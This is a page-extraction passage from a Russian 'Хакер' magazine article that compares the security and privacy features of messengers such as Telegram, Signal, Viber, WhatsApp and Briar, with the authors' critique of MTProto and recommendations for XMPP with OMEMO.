меж ду  собой,  что бы  упо рядо чить  и  дос тавить  сооб щения  одно му  или  нес‐ 
коль ким (в слу чае груп пового чата) собесед никам в опре делен ном поряд ке,
как толь ко они появят ся в сети. Поэто му шиф рование делит ся на два эта па:
на учас тках кли ент — сер вер и сер вер — сер вер. Это обыч ная схе ма, но в ней
стран но то, что пря мое соеди нение кли ентов не исполь зует ся вооб ще никог‐ 
да.

В  Telegram  тра фик  переда ется  через  сер веры  даже  при  откры тии  сек‐ 
ретно го чата, для которо го логич нее было бы сде лать P2P‐соеди нение. Нап‐ 
рашива ется  вывод,  что  без  пос тоян ного  исполь зования  сер веров  Telegram
связь в этом мес сен дже ре вооб ще не работа ет. Дру гие мес сен дже ры могут
исполь зовать свои сер веры толь ко на началь ном эта пе — для сопос тавле ния
текущих  IP‐адре сов  собесед ников  и  орга низа ции  меж ду  ними  пря мого
соеди нения. Telegram так не уме ет, и это чер тов ски похоже на MITM by design.

По чему‐то все рас сужде ния о стой кос ти MTProto 2.0 кру тят ся вок руг того,
что алго ритм DH надеж но защища ет от перех вата. Это не так. Алго ритм Диф‐ 
фи — Хел лма на как раз уяз вим для ата ки MITM. Более того, в слу чае Telegram
он, веро ятно, допол нитель но ослаблен на уров не ГПСЧ.

Проб лема  в  том,  что  кли ент ское  при ложе ние  Telegram  руководс тву ется
очень  нев нятной  оцен кой  энтро пии.  Вмес то  того  что бы  локаль но  генери‐ 
ровать  псев дослу чай ные  чис ла  и  отсе ивать  качес твен ные  прос тые,  кли ент
зап рашива ет их с сер вера. Что за ГПСЧ исполь зует ся на сер вере, нас коль ко
удач ные прос тые чис ла он генери рует и нет ли на сер вере механиз мов изби‐ 
ратель ной отправ ки прос тых чисел с опре делен ными свой ства ми отдель ным
кли ентам  —  воп росы  без  отве та.  Кли ент ское  при ложе ние  лишь  выпол няет
про вер ку  прис ланно го  слу чай ного  чис ла,  при чем  упро щен ную,  пос коль ку
на тща тель ный тест prime numbers за разум ное вре мя у смар тфо на баналь но
не хва тит вычис литель ных ресур сов.

Дру гой  час тый  аргу мент  в  поль зу  безопас ности  Telegram  —  откры тые
исходни ки. Одна ко в них нет исходно го кода сер верной час ти, а код кли ент‐ 
ской  обыч но  неак туален.  Репози тории  Telegram  обновля ются  с  боль шой
задер жкой  (раз ве  что  уре зан ная  веб‐вер сия  более‐менее  живая),  и  в  них
всег да лежат толь ко ста рые вер сии. Нет даже воз можнос ти про верить, дей‐ 
стви тель но  ли  из  исходни ков  ком пилиру ется  то,  что  сей час  раз дает ся
как готовый дис три бутив.

По это му  говорить  про  аудит  мес сен дже ра  фак тичес ки  бес смыс ленно.
Пока  спе циалис ты  нес коль ко  месяцев  копа ются  в  ста ром  коде,  вый дет
десяток новых вер сий Telegram, где будут перепи саны огромные кус ки кода.
Что бы сде лать уяз вимой всю сис тему шиф рования, дос таточ но замены одно‐ 
го бай та — нап ример, одно го условно го перехо да.

Ха като ны, которые устра ивает Дуров, не заменят аудит, пос коль ку ничего
не доказы вают. В их задани ях соз дает ся искусс твен ная ситу ация, в  которой
у ата кующей сто роны есть толь ко одно зашиф рован ное сооб щение. В реаль‐ 
ной жиз ни таких огра ниче ний нет и для ата ки на мес сен джер есть мно жес тво
дру гих век торов.

ТЫСЯЧА И ОДНА УЯЗВИМОСТЬ
Signal — один из нем ногих мес сен дже ров,  чей про токол про ходил внеш ний
аудит  ( ). Отчет  о  его  резуль татах  очень  объ емный,  поэто му  про цити рую
глав ные выводы в сво ем перево де.
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Наш ана лиз показы вает, что [про токол] Signal удов летво ряет стан дар- 
тным крип тогра фичес ким пред положе ниям и свой ствам безопас ности.
Мы  не  обна ружи ли  серь езных  недос татков  в  его  дизай не,  что  очень
обна дежи вает.  При  реаль ном  исполь зовании  Signal  оста ются  неоп- 
ределен ности. Поэто му невоз можно ска зать, всег да ли  [при ложе ние]
Signal дос тига ет заяв ленных целей.

Нуж но  осоз навать,  что  ана лиз  про токо ла  переда чи  сооб щений  —  важ ный
этап ауди та, но далеко не единс твен ная сос тавля ющая безопас ности. Любой
мес сен джер работа ет в реаль ной и очень уяз вимой сре де. Обыч но он запус‐ 
кает ся на не самой све жей вер сии Android, парал лель но с сот ней левых при‐ 
ложе ний  (часть  из  которых  навер няка  зло упот ребля ют  раз решени ями
или  даже  содер жат  тро янские  зак ладки),  а  сам  акка унт  при вязан  к  номеру
мобиль ного телефо на.

Ог ромная  брешь  зак люча ется  в  том,  что  коды  под твержде ния  при ходят
в  SMS.  Их  мож но  перех ватить  через  извес тную  уяз вимость  в  про токо ле
сотовой свя зи SS7. Так ата кующий получит дос туп ко всей перепис ке, не зная
клю чей шиф рования и даже не пыта ясь взло мать Signal/Proteus/MTProto (или
иной секь юрный про токол). Сер вер мес сен дже ра сам сме нит ключ и услужли‐ 
во  дешиф рует  пос леднюю  перепис ку  (как  минимум,  недос тавлен ные  сооб‐ 
щения). Даже твои сти кер паки вос ста новит. Глав ное же — удобс тво, вер но?

Еще  одна  зияющая  дыра  в  модели  безопас ности  —  push‐уве дом ления.
Без них ты не узна ешь, что тебе приш ло сооб щение, пока вруч ную не запус‐ 
тишь  мес сен джер.  С  ними  ты  прев раща ешь  сер вер  push‐уве дом лений
в  легали зован ного  «челове ка  посере дине».  Нап ример,  что бы  в  iMessage
работа ли уве дом ления, он отправ ляет клю чи шиф рования на сер веры Apple.
Уже они выпол няют аутен тифика цию поль зовате лей и (как минимум) дешиф‐ 
ровку заголов ков сооб щений. Вос ста нови учет ку Apple на дру гом устрой стве,
и ты получишь все как было — вплоть до перепис ки и паролей от Wi‐Fi. Поч ти
такая  же  ситу ация  с  сер верами  Google  и  Microsoft.  Или  ты  еще  веришь
в сквоз ное шиф рование с при вяз кой к номеру мобиль ного и основно му акка‐ 
унту на смар тфо не?

Проб лема  небезо пас ного  управле ния  клю чами  и  боль шой  повер хнос ти
ата ки каса ется вооб ще всех мес сен дже ров. WhatsApp, Viber и мно гие дру гие
поз воля ют соз давать копии перепис ки (в том чис ле облачные) и не шиф руют
метадан ные (а иног да сам факт раз говора важ нее его содер жания). У Signal
дела  обсто ят  чуть  луч ше,  но  и  его  я  не  счи таю  иде аль ным  мес сен дже ром
по целому ряду при чин:

Во‐пер вых, Signal так же исполь зует гуг лов ский сер вис push‐уве дом лений.
Поэто му  на  смар тфо не  без  сер висов  Google  (нап ример,  все  китай ские
модели для внут ренне го рын ка без GApps) он прос то не работа ет.

•

Во‐вто рых, для голосо вого обще ния в Signal исполь зует ся зак рытый сер‐ 
вер RedPhone.

•

В‐треть их,  Signal  (как  и  мно гие  дру гие  мес сен дже ры)  поз воля ет  открыть
парал лель ную  сес сию  на  дру гом  устрой стве,  прос то  отска ниро вав  QR‐
код.

•

В‐чет вертых, на HITBSecConf2017 рас ска зали ( ) про ряд кон цепту аль‐ 
ных проб лем Signal и про демонс три рова ли успешную ата ку на него.

• PDF

XMPP
Как видишь, сто рон ним и тем более проп риетар ным мес сен дже рам доверять
слож но,  даже  если  их  рекомен довали  Сно уден,  Ассанж  и  EFF.  Поэто му
некото рые  орга низу ют  обще ние  через  свой  мес сен джер  —  с  опен сорсом
и  пла гина ми.  Для  прос той  перепис ки  годит ся  пла гин  OTR,  но  он  не  под‐ 
держи вает  груп повые  чаты.  Есть  родс твен ные  про токо лы  mpOTR  и  GOTR,
в которых добав лена эта фун кция.

Так или ина че, для кол лектив ного обще ния удоб нее исполь зовать откры‐ 
тый  про токол  XMPP  (Extensible  Messaging  and  Presence  Protocol),  который
ранее  называл ся  Jabber.  XMPP  перево дит ся  как  «рас ширя емый  про токол
обме на сооб щени ями и информа цией о при сутс твии», это очень емкое наз‐ 
вание. Откры тость озна чает пол ную дос тупность исходных кодов. Ты можешь
под нять свой сер вер XMPP, ни от кого не зависеть и ничего за это не пла тить.
Так же  есть  уйма  готовых  сер веров  и  кли ентов  на  любой  вкус —  нап ример,
дес ктоп ный Pidgin и Xabber для Android.

Рас ширя емость  под разуме вает  воз можность  переда чи  не  толь ко  тек ста,
но и дан ных дру гого типа, а так же добав ление раз ных фун кций и схем шиф‐ 
рования.  Нап ример,  по  XMPP  лег ко  передать  голосо вые  сооб щения,  видео
и фай лы, при желании зашиф ровав их средс тва ми TLS или PGP. Не так дав но
на базе XMPP был соз дан про токол рас ширения  , в котором исполь‐ 
зует ся тот же DR от Open Whisper Systems, что и в Signal и WhatsApp, но без
про чих недос татков пос ледних.

OMEMO

ВЫВОДЫ
В сов ремен ных мес сен дже рах  заяв лена  под дер жка  сквоз ного шиф рования,
но час то ока зыва ется, что она реали зова на со стран ностя ми. К тому же в их
коде мно го дру гих дыр, которые были оставле ны слу чай но либо намерен но.
Пос леднее куда веро ятнее, если учесть, сколь ко денег и тру да про фес сиона‐ 
лов было вло жено в их раз работ ку. Я ста раюсь соб людать баланс меж ду ком‐ 
фортом и при выч ным нас лажде нием параной ей. Исполь зую раз ные мес сен‐ 
дже ры  (какие  удоб нее  моим  собесед никам),  но  никог да  не  веду  через  них
дей стви тель но при ват ных бесед. Для это го есть мно жес тво опен сор сных аль‐ 
тер натив.  Помимо  Xabber,  поль зовате лям  Android  я  бы  рекомен довал  прис‐ 
мотреть ся  к   — сво бод ному  XMPP‐кли енту  с  под дер жкой OTR,
OMEMO, openPGP и SOCKS5.

Conversations
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•До кумен тация схе мы шиф рования в Signal
•До кумен тация схе мы шиф рования в Telegram
•Ре комен дации EFF по защите от слеж ки

http://www.jbonneau.com/doc/ASBDNS17-IEEESP-secure_messaging_obstacles.pdf
https://xakep.ru/2016/05/13/fairy-tale-about-pgp/
https://core.telegram.org/api/end-to-end
https://whispersystems.org/docs/specifications/x3dh/
https://www.ietf.org/rfc/rfc7748.txt
https://xakep.ru/2017/02/27/cryptodroid-messengers-encryption/
https://eprint.iacr.org/2017/713.pdf
https://eprint.iacr.org/2016/1013.pdf
https://conference.hitb.org/hitbsecconf2017ams/materials/D2T1%20-%20Markus%20Vervier%20-%20Hunting%20for%20Vulnerabilities%20in%20Signal.pdf
https://conversations.im/omemo/
https://f-droid.org/en/packages/eu.siacs.conversations/
https://signal.org/docs/specifications/xeddsa/
https://core.telegram.org/api/end-to-end
https://ssd.eff.org/


ШИФРУЙСЯ
ГРАМОТНО!

ВЫБИРАЕМ МЕССЕНДЖЕР ДЛЯ
БЕЗОПАСНОЙ И ПРИВАТНОЙ ПЕРЕПИСКИ

Валерия Губарева
veneramuholovka@yandex.ru

Денис Колисниченко
Постоянный автор журнала

«Хакер»
dhsilabs@gmail.com

COVERSTORY

Па радок саль но,  но  факт:  при  всем  раз нооб разии  мес сен‐ 
дже ров  выбирать  их  обыч но  не  при ходит ся — люди прос то
поль зуют ся тем же, чем их друзья и зна комые. Но что, если
сек ретность  дей стви тель но  важ на? В  этой  статье мы  прой‐ 
дем ся по спис ку сов ремен ных мес сен дже ров и пос мотрим,
какие гаран тии защиты есть у каж дого из них.

Не  так  дав но  я  заг лянула  полис тать  статьи  в  жур нале  «Хакер»  и  нат кну лась
на  опрос  « ».
Самый популяр ный ответ (Telegram) меня нас торожил. Тог да я поняла, что все
это  заш ло  слиш ком  далеко  и  даже  сред ний  читатель  «Хакера»  уже  потерял
связь с реаль ностью пос ле ата ки мар кетинг‐хед кра ба (на кар тинке).

Ка кой  мес сен джер  ты  счи таешь  самым  надеж ным  для  хакера?

Кра бе ота ке!!1

Я решила сос тавить спи сок мес сен дже ров и пос мотреть, как у каж дого из них
обсто ят  дела  с безопас ностью. В  спи сок  пош ли  как  популяр ные,  так  и  пер‐ 
спек тивные  в  пла не  безопас ности  прог раммы.  Сра зу  пре дуп реждаю,  что
углублять ся в тех ничес кую сто рону мы будем нас толь ко, нас коль ко это необ‐ 
ходимо для сред него поль зовате ля, не даль ше.

Во мно гом я пов торила путь авто ров серии ста тей Electronic Frontier Foun‐
dation  под  наз вани ем  ,  но  выб рала  дру гие  кри‐ 
терии — на мой взгляд, более важ ные.

Secure Messaging  Scorecard

КРИТЕРИИ

FOSS
Рас простра няет ся ли исходный код мес сен дже ра на усло виях одной из сво‐ 
бод ных  лицен зий?  Если  да,  то  ведет ся  ли  раз работ ка  откры тым  методом?
Нас коль ко тес но раз работ чики вза имо дей ству ют с сооб щес твом? При нима‐ 
ют ли pull request’ы? Все это важ но учи тывать при выборе.

Сте пень цен тра лиза ции
Здесь воз можен один из трех вари антов:

цен тра лизо ван ный — тре бует сер вера, воз можно заб локиро вать. При мер:
VK, Telegram, Facebook;

•

фе дера тив ный  —  сеть  из  сер веров,  которые  обща ются  друг  с  дру гом.
Канонич ные при меры: Email, Jabber (XMPP), Riot Matrix;

•

де цен тра лизо ван ный  (име ется  в  виду  P2P)  —  каж дый  кли ент  явля ется
одновре мен но и сер вером.

•

Воз можность ано ним ной регис тра ции и исполь зования
Для  некото рых  сер висов  телефон  может  понадо бить ся  толь ко  для  защиты
от спа ма при регис тра ции, соот ветс твен но, очень прос то исполь зовать сер‐ 
висы арен ды номеров для SMS.

В осталь ных слу чаях мес сен джер плот но при вязан к телефо ну. Это пло хо
тем, что если не вклю чена двух фактор ная аутен тифика ция, то при получе нии
дос тупа к это му номеру мож но зай ти в акка унт и слить все дан ные. Но даже
если  двух фактор ка  вклю чена,  все  рав но  оста ется  воз можность  уда лить  все
дан ные  с  акка унта.  Ну  и  конеч но,  это,  счи тай,  регис тра ция  по  пас порту
(исполь зуем реалии РФ, дру гих не завез ли).

Но  не  все  так  пло хо.  Есть  мес сен дже ры,  которые  поз воля ют  регис три‐ 
ровать ся с исполь зовани ем поч тового ящи ка или учет ной записи в соци аль‐ 
ной сети. Есть и  такие,  где учет ную запись мож но соз дать в самом мес сен‐ 
дже ре без при вяз ки к чему‐то.

На личие End-to-End Encryption (E2EE)
Не кото рые  мес сен дже ры  име ют  такую  фун кцию  по  умол чанию,  в  дру гих  ее
мож но вклю чить, но есть и те, где сквоз ного шиф рования прос то нет.

Син хро низа ция E2EE-чатов
Опять же эта фун кция пока что встре чает ся не так час то, как хотелось бы. Ее
наличие силь но упро щает жизнь.

Уве дом ление о необ ходимос ти про вер ки отпе чат ков E2EE
При стар те E2EE‐чатов некото рые мес сен дже ры пред лага ют про верить отпе‐ 
чат ки  собесед ников,  дру гие  не  пред лага ют  это  откры то. Но  не  все мес сен‐ 
дже ры име ют фун кцию про вер ки отпе чат ков.

Зап рет делать скрин шот сек ретно го чата
Не самая полез ная фун кция, потому что для обхо да зап рета дос таточ но, нап‐ 
ример, иметь под рукой вто рой телефон.

Груп повые E2EE-чаты
Груп повые E2EE‐чаты обыч но  не  такая  уж  необ ходимая фун кция,  но  весь ма
удоб ная. Пра вило «боль ше двух — говори вслух» сто ит оста вить для детей.

Уве дом ление о необ ходимос ти про вер ки отпе чат ков E2EE в груп -
повых чатах
При добав лении нового собесед ника, с которым не све рены отпе чат ки, в сек‐ 
ретный груп повой чат не все мес сен дже ры пред лага ют про верить его отпе‐ 
чат ки. Из‐за такого упу щения теря ется смысл сек ретных чатов.

За щита соци аль ного гра фа
Не кото рые  мес сен дже ры  собира ют  информа цию  о  кон тактах  поль зовате ля
и  дру гую мета информа цию,  нап ример  кому  зво нил  поль зователь,  как  дол го
раз говари вал. На эту тему есть  .ин терес ная замет ка
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Мы  выб рали  лишь  часть  кри тери ев,  которые
могут  сыг рать  роль  при  выборе  мес сен дже ра.
Сущес тву ют и дру гие,  но не  всег да они  свя заны
с безопас ностью.  Груп па  уче ных из евро пей ских
уни вер ситетов неп лохо раз ложила все по полоч‐ 
кам в работе Obstacles  to  the Adoption of Secure
Communication Tools ( ). Так же всег да полез но
зна комить ся с резуль татами незави симо го ауди‐ 
та,  если  они  есть.  Нап ример,  в  слу чае  с  Signal
такой аудит про водил ся ( ).

PDF

PDF

TELEGRAM

 фор маль но — GPLv3. Одна ко важ ная часть раз работ ки зак рыта.
Если  взгля нуть  на  репози тории,  то  вид но,  что  в  пос леднее  вре мя  какое‐то
дви жение наб людалось толь ко в вебовой вер сии. Увы, в таком виде это ско‐ 
рее иллю зия откры тос ти 

 цен тра лизо ван ный 
 нет 

  реали зова ны,  но  как  допол нение.  По  умол чанию  чаты
не шиф руют ся 

  нет.  Сек ретный  чат  мож но  исполь зовать
толь ко с одно го устрой ства, с дру гого дос тупа к нему уже не будет 

  нет.  Поль зовате ли  могут
сами зай ти в нас трой ки, что бы срав нить отпе чат ки 

  есть,  но  работа ет  не  на  всех
устрой ствах 

 нет 
 нет

Ли цен зия:

Сте пень цен тра лиза ции:

Воз можность ано ним ной регис тра ции и работы:

На личие  E2EE:

Син хро низа ция  E2EE-чатов:

Уве дом ление  о  про вер ке  отпе чат ков  E2EE:

Зап рет на скрин шоты сек ретных чатов:

Груп повые чаты E2EE:

За щита соци аль ного гра фа:

Мес сен джер,  соз данный  коман дой  Пав ла  Дурова,  пос тро ен  на  тех нологии
шиф рования перепис ки MTProto. На дан ный момент час тично заб локиро ван
на тер ритории Рос сии, но эта бло киров ка — отдель ная тема для раз говора.

Мес сен джер неод нознач ный. Вок руг него мно го шума, но оправдан ли он?
Дос тупа  к  исходни кам  нет,  чаты  по  умол чанию  не  шиф руют ся,  нет  защиты
соци аль ного  гра фа  (все  твои  кон такты  хра нят ся  на  сер верах  Telegram),  нет
груп повых  E2EE‐чатов,  E2EE‐чаты  не  под держи вают ся  в  нас толь ной  вер сии
прог раммы, толь ко в мобиль ной, мес сен джер цен тра лизо ван ный, сооб щения
хра нят ся на сер вере (и они, как уже было отме чено, не зашиф рованы), и при
всем этом отсутс тву ет воз можность ано ним ной регис тра ции.

Ес ли  ты  хочешь  исполь зовать  Telegram,  то  для  защиты  перепис ки
не забывай соз давать сек ретные чаты. В мобиль ной вер сии для это го нуж но
выб рать коман ду New Secret Chat. Из нас толь ных вер сий сек ретные чаты под‐ 
держи вают толь ко некото рые (нап ример, один из двух кли ентов для macOS).

В сек ретном чате сооб щения шиф руют ся и не хра нят ся на сер верах мес‐ 
сен дже ра.  Так же  нель зя  сде лать  скрин шот  сек ретно го  чата,  но  нич то
не меша ет сфо тог рафиро вать такой чат с экра на.

SIGNAL

 AGPLv3 
 децен тра лизо ван ный 

  нет.  Кро ме номера
телефо на, дру гих вари антов нет. Исполь зование вре мен ного при ведет к тому
же резуль тату, что и в слу чае с Telegram 

  есть.  Исполь зует ся    —  спе циаль но  раз‐ 
работан ный для это го мес сен дже ра про токол шиф рования сооб щений 

 есть 
 нет. Поль зовате лям пред‐ 

лага ется сос каниро вать QR‐коды друг у дру га или срав нить отпе чат ки 
 мож но вклю чить или вык лючить 

 есть 

 нет 
 есть

Ли цен зия:

Сте пень цен тра лиза ции:

Воз можность ано ним ной регис тра ции и работы:

На личие  E2EE: Signal  Protocol

Син хро низа ция E2EE-чатов:

Уве дом ление о про вер ке отпе чат ков E2EE:

Зап рет на скрин шоты сек ретных чатов:

Груп повые чаты E2EE:

Уве дом ление о необ ходимос ти про вер ки отпе чат ков E2EE в груп- 

повых чатах:

За щита соци аль ного гра фа:

Мес сен джер Signal раз работан аме рикан ским стар тапом Open Whisper Sys‐
tems,  где,  кро ме  дво их  осно вате лей,  работа ет  все го  нес коль ко  человек.
Для шиф рования  сооб щений  исполь зует ся  соз данный  спе циаль но  для  него
крип тогра фичес кий  про токол — Signal  Protocol. Он  при меня ется  для  сквоз‐ 
ного (end‐to‐end) шиф рования звон ков (голосо вых и видео), а так же обыч ных
сооб щений. Про токол Signal с тех пор ста ли исполь зовать и дру гие мес сен‐ 
дже ры: WhatsApp, Facebook Messenger, Google Allo.

Ка залось  бы,  в  этом  слу чае  любой  мес сен джер  может  стать  таким  же
безопас ным,  как  и  Signal.  Но,  как  показы вает  прак тика,  —  нет.  В  отли чие
от Signal, где шиф рование вклю чено по умол чанию, в этих мес сен дже рах оно
вык лючено. Для его вклю чения в Facebook Messenger нуж но акти виро вать Se‐
cret Conversations, а в Google Allo — режим инкогни то (Incognito Mode).

Хоть  Signal  и  цен тра лизо ван ный,  но  код  открыт  и  рас простра няет ся
по  сво бод ной  лицен зии.  У  Signal  есть  под дер жка  груп повых  E2EE‐чатов,
защита соци аль ного гра фа, под держи вают ся 

.
ис чеза ющие по тай меру сооб‐ 

щения
Од нако  не  сто ит  путать  защиту  с  ано ним ностью.  Signal  не  ано нимен:

при регис тра ции нуж но  ука зывать  номер  телефо на,  к  которо му мес сен джер
и при вязы вает ся. Что каса ется исче зающих сооб щений, то эта фиш ка встре‐ 
чает ся  и  в  дру гих мес сен дже рах,  нап ример  в  Viber  и  Telegram  (в меню  сек‐ 
ретно го чата нуж но выб рать коман ду Set self‐destruct timer).

VIBER

 проп риетар ная 
 цен тра лизо ван ный 

  толь ко  по  номеру
телефо на 

 есть, по умол чанию. Так же есть сек ретные и скры тые чаты,
которые обес печива ют допол нитель ную безопас ность 

  нет.  Соз данный  в  мобиль ной  вер сии  сек‐ 
ретный чат не отоб разил ся в дес ктоп ной вер сии 

  для  про вер ки  отпе чат ков
пред лага ется  совер шить  зво нок  собесед нику,  сооб щить  свой  иден тифика‐ 
тор, пос ле чего под твер дить его кор рек тность, но уве дом ления, что это необ‐ 
ходимо для обес печения собс твен ной безопас ности, нет 

 есть 
 есть 

 нет 
 нет

Ли цен зия:

Сте пень цен тра лиза ции:

Воз можность  ано ним ной  регис тра ции  и  работы:

На личие E2EE:

Син хро низа ция  E2EE-чатов:

Уве дом ление о  про вер ке  отпе чат ков E2EE:

Зап рет на скрин шоты сек ретных чатов:

Груп повые чаты E2EE:

Уве дом ление о необ ходимос ти про вер ки отпе чат ков E2EE в груп- 

повых чатах:

За щита соци аль ного гра фа:

Viber — инте рес ный мес сен джер. С одной сто роны, он проп риетар ный, цен‐ 
тра лизо ван ный,  при вязы вает ся  толь ко  к  номеру  телефо на,  не обес печива ет
защиту соци аль ного  гра фа. С дру гой сто роны,    осно‐ 
вано на про токо ле Signal и вклю чено по умол чанию, даже в нас толь ной вер‐ 
сии.  Для  допол нитель ной  безопас ности  сущес тву ют  сек ретные  чаты  с  воз‐ 
можностью общать ся груп пой.

сквоз ное шиф рование

Сек ретные  чаты  поз воля ют  нас тро ить  тай мер  само унич тожения  для  каж‐ 
дого сооб щения: оно будет уда лено через уста нов ленное вре мя пос ле прос‐ 
мотра — как с тво его устрой ства, так и со всех устрой ств получа телей. Сооб‐ 
щения  сек ретно го  чата  защище ны  от  пересыл ки,  а  скрин шоты  или  зап‐ 
рещены, или оставля ют уве дом ление на экра не чата.

Для перехо да в сек ретный чат нуж но открыть чат с поль зовате лем и выб‐ 
рать из его меню коман ду «Перей ти в сек ретный чат». Такой чат будет отме‐ 
чен зам ком.

До пол нитель но Viber поз воля ет соз давать скры тые сек ретные чаты — они
не  будут  отоб ражать ся  в  общем  спис ке.  Что бы  получить  дос туп  к  скры тому
чату, нуж но ввес ти уста нов ленный ранее PIN‐код. Это допол нитель ная защита
на тот слу чай, если телефон попадет в чужие руки.

WHATSAPP

 проп риетар ная 
 цен тра лизо ван ный 

  толь ко  по  номеру
телефо на 

 по умол чанию 
 есть 

 есть толь ко в слу чае сме ны
клю ча собесед ником. Что бы уве дом ление приш ло, необ ходимо зай ти в нас‐ 
трой ки и вклю чить эту фун кцию. При стар те чата никаких уве дом лений нет 

 нет 
 есть 

 нет 
 нет

Ли цен зия:

Сте пень цен тра лиза ции:

Воз можность  ано ним ной  регис тра ции  и  работы:

На личие E2EE:

Син хро низа ция E2EE-чатов:

Уве дом ление о про вер ке отпе чат ков E2EE:

Зап рет на скрин шоты сек ретных чатов:

Груп повые чаты E2EE:

Уве дом ление о необ ходимос ти про вер ки отпе чат ков E2EE в груп- 

повых чатах:

За щита соци аль ного гра фа:

WhatsApp  исполь зует  Signal  Protocol,  но  это  само  по  себе  не  дает  никаких
гаран тий. Конеч но, этот мес сен джер инте ресен тем, что не хра нит твои сооб‐ 
щения на сво их сер верах. Вмес то это го сооб щения хра нят ся на телефо не (а
так же  в  облачных  сер висах,  с  которы ми  он  син хро низи рован,  нап ример
iCloud).  Так же  E2EE  исполь зует ся  по  умол чанию  с  под дер жкой  груп повых
чатов.

Од нако  хоть  WhatsApp  и  не  получа ет  самой  перепис ки,  его  вла дель цы
име ют  дос туп  к  метадан ным,  в  том  чис ле  собира ют  телефон ные  номера
из адресной кни ги, вре мя отправ ки сооб щений и звон ков и так далее. Пред‐ 
ставь,  что  в  2:30  ты  зво нил  в  «секс  по  телефо ну»  и  твой  раз говор  длил‐ 
ся 24 минуты. Ну да, ник то не узна ет, как кон крет но шла беседа, но это в дан‐ 
ном слу чае не очень‐то и нуж но.

Кро ме  это го,  WhatsApp  собира ет  тон ны  информа ции  о  поль зовате ле:
модель его телефо на, ОС, информа цию, получен ную от бра узе ра,  IP‐адрес,
мобиль ный номер и так далее.

До бавь к это му проп риетар ный код, и ты получишь далеко не самый луч‐ 
ший с точ ки зре ния ано ним ности вари ант. Может, ник то и не перех ватит твои
сооб щения, но сам мес сен джер будет знать о тебе мно гое.

INFO

На личие сквоз ного шиф рования — еще не гаран‐ 
тия  того,  что  перепис ка  не  будет  перех вачена.
Его    либо  про экс плу ати ровать
какую‐то  уяз вимость,  как  это  уже  было 

.

мож но  обой ти
в  слу чае

с WhatsApp

BRIAR

 GPLv3 
 децен тра лизо ван ный 

 есть 
 есть, по умол чанию 

 нет 
  при  добав лении  кон такта

необ ходимо сос каниро вать QR‐код собесед ника с экра на его телефо на, дру‐ 
гого вари анта добавить его нет. Счи таем, что уве дом ление есть 

 есть 
 есть 

  в  груп повой чат мож но добавить  толь ко собесед ника из  тех,
чьи QR‐коды уже про вере ны. Так же счи таем, что уве дом ление есть 

 есть

Ли цен зия:

Сте пень цен тра лиза ции:

Воз можность ано ним ной регис тра ции и работы:

На личие E2EE:

Син хро низа ция E2EE-чатов:

Уве дом ление о про вер ке отпе чат ков E2EE:

Зап рет на скрин шоты сек ретных чатов:

Груп повые чаты E2EE:

Уве дом ление о необ ходимос ти про вер ки отпе чат ков E2EE в груп- 

повых чатах:

За щита соци аль ного гра фа:

Briar  —  не  очень  популяр ный  мес сен джер,  и  готов  пос порить,  что  далеко
не все наши читате ли зна ют о его сущес тво вании. Одна ко он хорош: осно ван
на  тех нологии  децен тра лизо ван ных  сетей  (mesh),  может  работать  по  Blue‐
tooth или Wi‐Fi либо через интернет, но в таком слу чае он под клю чит ся через
Tor.

Ис ходни ки  Briar  откры ты,  есть  воз можность  ано ним ной  регис тра ции
и  исполь зования,  а  чаты  шиф руют ся  по  умол чанию,  при чем  не  хра нят ся
на сер верах Briar  (то есть твои сооб щения в зашиф рован ном виде хра нят ся
толь ко  на  тво ем  телефо не).  Есть  защита  соци аль ного  гра фа  (ник то  никому
не сли вает твою адресную кни гу), есть груп повые E2EE‐чаты, но нет син хро‐ 
низа ции  E2EE‐чатов  меж ду  устрой ства ми,  пос коль ку  нет  воз можнос ти
исполь зовать одну и ту же учет ку на раз ных устрой ствах.

На фоне всех осталь ных мес сен дже ров Briar выг лядит очень неп лохо, если
нуж на  ано ним ность  обще ния.  Но  у  него  есть  и  недос татки:  нет  вер сии
для iPhone, нет воз можнос ти голосо вых звон ков. Если с отсутс тви ем звон ков
еще  мож но  мирить ся,  то  без  вер сии  для  одной  из  круп ных  плат форм  круг
обще ния ока жет ся еще более узким.

ТАМТАМ

 проп риетар ная 
 цен тра лизо ван ный 

 воз можна регис тра‐ 
ция с исполь зовани ем поч ты Google или через «Одноклас сни ки» 

 нет 
 нет

Ли цен зия:

Сте пень цен тра лиза ции:

Воз можность ано ним ной регис тра ции и работы:

На личие E2EE:

За щита соци аль ного гра фа:

При соз дании «Там Тама» ник то не делал упор на безопас ность, и об этом
нуж но  пом нить.  Вни мание  к  нему  может  прив лечь  раз ве  что  воз можность
регис тра ции через поч ту Google или «Одноклас сни ки». Одна ко шиф рование
сооб щений  не  под держи вает ся  (или  раз работ чики  об  этом  не  сооб щают),
и  нет  защиты  соци аль ного  гра фа.  То  есть,  как  бы  ты  ни  регис три ровал ся,
без  допол нитель ных  мер  все  рав но  будет  понят но,  кто  ты.  В  общем,  даже
как  замена  для  «Телег рама»  этот  мес сен джер  не  годит ся,  нес мотря  на  все
чаяния его раз работ чиков.
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ШИФРУЙСЯ
ГРАМОТНО!

ВЫБИРАЕМ МЕССЕНДЖЕР ДЛЯ БЕЗОПАСНОЙ
И ПРИВАТНОЙ ПЕРЕПИСКИ

COVERSTORY  НАЧАЛО СТАТЬИ←

ВКОНТАКТЕ

 проп риетар ная 
 цен тра лизо ван ный 

  толь ко  по  номеру
телефо на 

 нет 
 нет

Ли цен зия:

Сте пень цен тра лиза ции:

Воз можность  ано ним ной  регис тра ции  и  работы:

На личие E2EE:

За щита соци аль ного гра фа:

Сно ва  про ходим  мимо:  вряд  ли  кому‐то  в  здра вом  уме  при дет  в  голову
мысль  исполь зовать  «Вкон такте»  как  средс тво  для  ано ним ного  обще ния.
Сооб щения хра нят ся на сер верах соц сети, не шиф руют ся, регис тра ция толь‐ 
ко по номеру телефо на — в общем, пол ный набор того, чего мы тут пыта емся
избе жать.

FACEBOOK MESSENGER

 проп риетар ная 
 цен тра лизо ван ный 

  есть.  Регис тра ция
в «Фей сбу ке» воз можна с исполь зовани ем элек трон ной поч ты, а вход в Mes‐
senger — через учет ную запись Facebook 

 есть, но не по умол чанию 
 нет 

 нет. Но собесед ники могут
срав нить отпе чат ки друг дру га 

 нет 
 нет 

 нет

Ли цен зия:

Сте пень цен тра лиза ции:

Воз можность  ано ним ной  регис тра ции  и  работы:

На личие E2EE:

Син хро низа ция E2EE-чатов:

Уве дом ление о про вер ке отпе чат ков E2EE:

Зап рет на скрин шоты сек ретных чатов:

Груп повые чаты E2EE:

За щита соци аль ного гра фа:

Мес сен джер, при лага ющий ся к Facebook, пос тро ен на осно ве откры того про‐ 
